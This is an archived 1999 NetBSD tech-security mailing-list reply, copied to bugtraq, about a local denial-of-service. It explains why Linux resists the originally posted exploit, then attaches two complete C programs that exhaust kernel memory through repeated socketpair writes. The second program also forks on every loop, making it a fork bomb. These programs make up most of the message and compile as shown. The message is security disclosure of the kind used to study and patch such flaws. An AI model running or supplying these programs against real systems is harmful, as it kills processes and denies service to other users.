Subject: Re: NetBSD 1.4.1 local DoS
To: NetBSD Freak <netbsd@SDF.lonestar.org>
From: Charles M. Hannum <root@ihack.net>
List: tech-security
Date: 09/01/1999 13:59:47
  by redmail.netbsd.org with SMTP; 1 Sep 1999 17:56:58 -0000
	by bikini.ihack.net (8.8.8/8.8.8) id NAA18371;
	Wed, 1 Sep 1999 13:59:47 -0400 (EDT)
Date: Wed, 1 Sep 1999 13:59:47 -0400 (EDT)
Message-Id: <199909011759.NAA18371@bikini.ihack.net>
From: "Charles M. Hannum" <root@ihack.net>
To: NetBSD Freak <netbsd@SDF.lonestar.org>
Cc: tech-security@netbsd.org, bugtraq@securityfocus.com
Subject: Re: NetBSD 1.4.1 local DoS


This does not `freeze' the system per se.  What it does is tie up all
the network resources, and make it impossible to any network I/O (even
through Un*x-domain sockets).

Linux is not generally vulnerable to the exploit as posted, because it
seems to only accept 64512 bytes from the write(2)s, and limit the
file descriptor table to 256 entries (at least by default), thus
making the program chew up less memory.  However, a trivial variant
(attached below) causes memory exhaustion on the Linux system I
tested.  Interestingly, this did not cause the Linux system to crash,
but it does cause a bunch of processes to be killed -- gpm, klogd,
update, crond, and finally the test program itself.  So there is still
a denial of service, especially if the program is modified to
continually fork as well (also attached below, although it could be
done a bit better).

-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----
#include        <unistd.h>
#include        <sys/socket.h>
#include        <fcntl.h>

#define		NPROCS		20
#define         BUFFERSIZE      204800

extern  int
main(void)
{
        int             p[2], i;
        char            crap[BUFFERSIZE];

	for (i = 0; i < NPROCS - 1; i++) {
		if (fork())
			break;
	}
	sleep(5);
        while (1)
        {
                if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
                        break;
                i = BUFFERSIZE;
                setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                fcntl(p[0], F_SETFL, O_NONBLOCK);
                fcntl(p[1], F_SETFL, O_NONBLOCK);
                write(p[0], crap, BUFFERSIZE);
                write(p[1], crap, BUFFERSIZE);
        }
	pause();

        return (0);
}
-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----
#include        <unistd.h>
#include        <sys/socket.h>
#include        <fcntl.h>

#define         BUFFERSIZE      204800

extern  int
main(void)
{
        int             p[2], i;
        char            crap[BUFFERSIZE];

        while (1)
        {
		fork();
                if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
                        break;
                i = BUFFERSIZE;
                setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                fcntl(p[0], F_SETFL, O_NONBLOCK);
                fcntl(p[1], F_SETFL, O_NONBLOCK);
                write(p[0], crap, BUFFERSIZE);
                write(p[1], crap, BUFFERSIZE);
        }
	pause();

        return (0);
}
-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----